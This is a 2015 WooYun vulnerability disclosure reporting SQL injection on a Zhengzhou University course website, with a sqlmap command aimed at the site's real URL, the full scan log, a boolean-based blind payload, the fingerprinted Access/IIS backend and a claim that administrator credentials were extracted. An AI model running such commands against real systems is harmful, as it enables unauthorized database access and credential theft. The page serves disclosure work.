当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0117505

漏洞标题:郑州大学精品课程网站SQL注入

相关厂商:郑州大学

漏洞作者: gentoofly

提交时间:2015-06-02 18:57

修复时间:2015-06-07 18:58

公开时间:2015-06-07 18:58

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:6

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-02: 细节已通知厂商并且等待厂商处理中
2015-06-07: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

精品课程在全国任何一所高校都是神一样的存在

详细说明:

sqlmap -u "http://jpkc.zzu.edu.cn/hbyycai/flash/step.asp?id=8"
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 11:21:23
[11:21:31] [INFO] testing connection to the target URL
[11:21:33] [INFO] testing if the target URL is stable. This can take a couple of seconds
[11:21:34] [INFO] target URL is stable
[11:21:34] [INFO] testing if GET parameter 'id' is dynamic
[11:21:34] [INFO] heuristics detected web page charset 'ascii'
sqlmap got a 302 redirect to 'http://jpkc.zzu.edu.cn:80/hbyycai/flash/error.asp'. Do you want to follow? [Y/n] n
[11:23:34] [INFO] confirming that GET parameter 'id' is dynamic
[11:23:34] [INFO] GET parameter 'id' is dynamic
[11:23:34] [INFO] heuristics detected web page charset 'GB2312'
[11:23:35] [WARNING] reflective value(s) found and filtering out
[11:23:35] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable
[11:23:35] [INFO] testing for SQL injection on GET parameter 'id'
[11:23:35] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[11:23:40] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[11:23:42] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[11:23:43] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[11:23:43] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[11:23:43] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[11:23:43] [INFO] testing 'MySQL inline queries'
[11:23:44] [INFO] testing 'PostgreSQL inline queries'
[11:23:44] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[11:23:44] [INFO] testing 'Oracle inline queries'
[11:23:44] [INFO] testing 'SQLite inline queries'
[11:23:45] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[11:23:45] [CRITICAL] there is considerable lagging in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[11:23:45] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[11:23:45] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[11:23:45] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[11:23:46] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[11:23:46] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[11:23:46] [INFO] testing 'Oracle AND time-based blind'
[11:23:46] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[11:23:46] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[11:23:52] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[11:23:52] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms'
[11:24:01] [INFO] checking if the injection point on GET parameter 'id' is a false positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection points with a total of 79 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=8 AND 6934=6934
---
[11:25:59] [INFO] testing MySQL
[11:25:59] [WARNING] the back-end DBMS is not MySQL
[11:25:59] [INFO] testing Oracle
[11:26:00] [WARNING] the back-end DBMS is not Oracle
[11:26:00] [INFO] testing PostgreSQL
[11:26:00] [WARNING] the back-end DBMS is not PostgreSQL
[11:26:00] [INFO] testing Microsoft SQL Server
[11:26:00] [WARNING] the back-end DBMS is not Microsoft SQL Server
[11:26:00] [INFO] testing SQLite
[11:26:00] [WARNING] the back-end DBMS is not SQLite
[11:26:00] [INFO] testing Microsoft Access
[11:26:01] [INFO] confirming Microsoft Access
[11:26:01] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[11:26:01] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 77 times
[11:26:01] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/jpkc.zzu.edu.cn'
[*] shutting down at 11:26:01

漏洞证明:

爆得管理员用户名与密码

屏幕快照 2015-06-01 下午2.38.14.png

修复方案:

过滤

版权声明:转载请注明来源 gentoofly@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-06-07 18:58

厂商回复:

最新状态:

暂无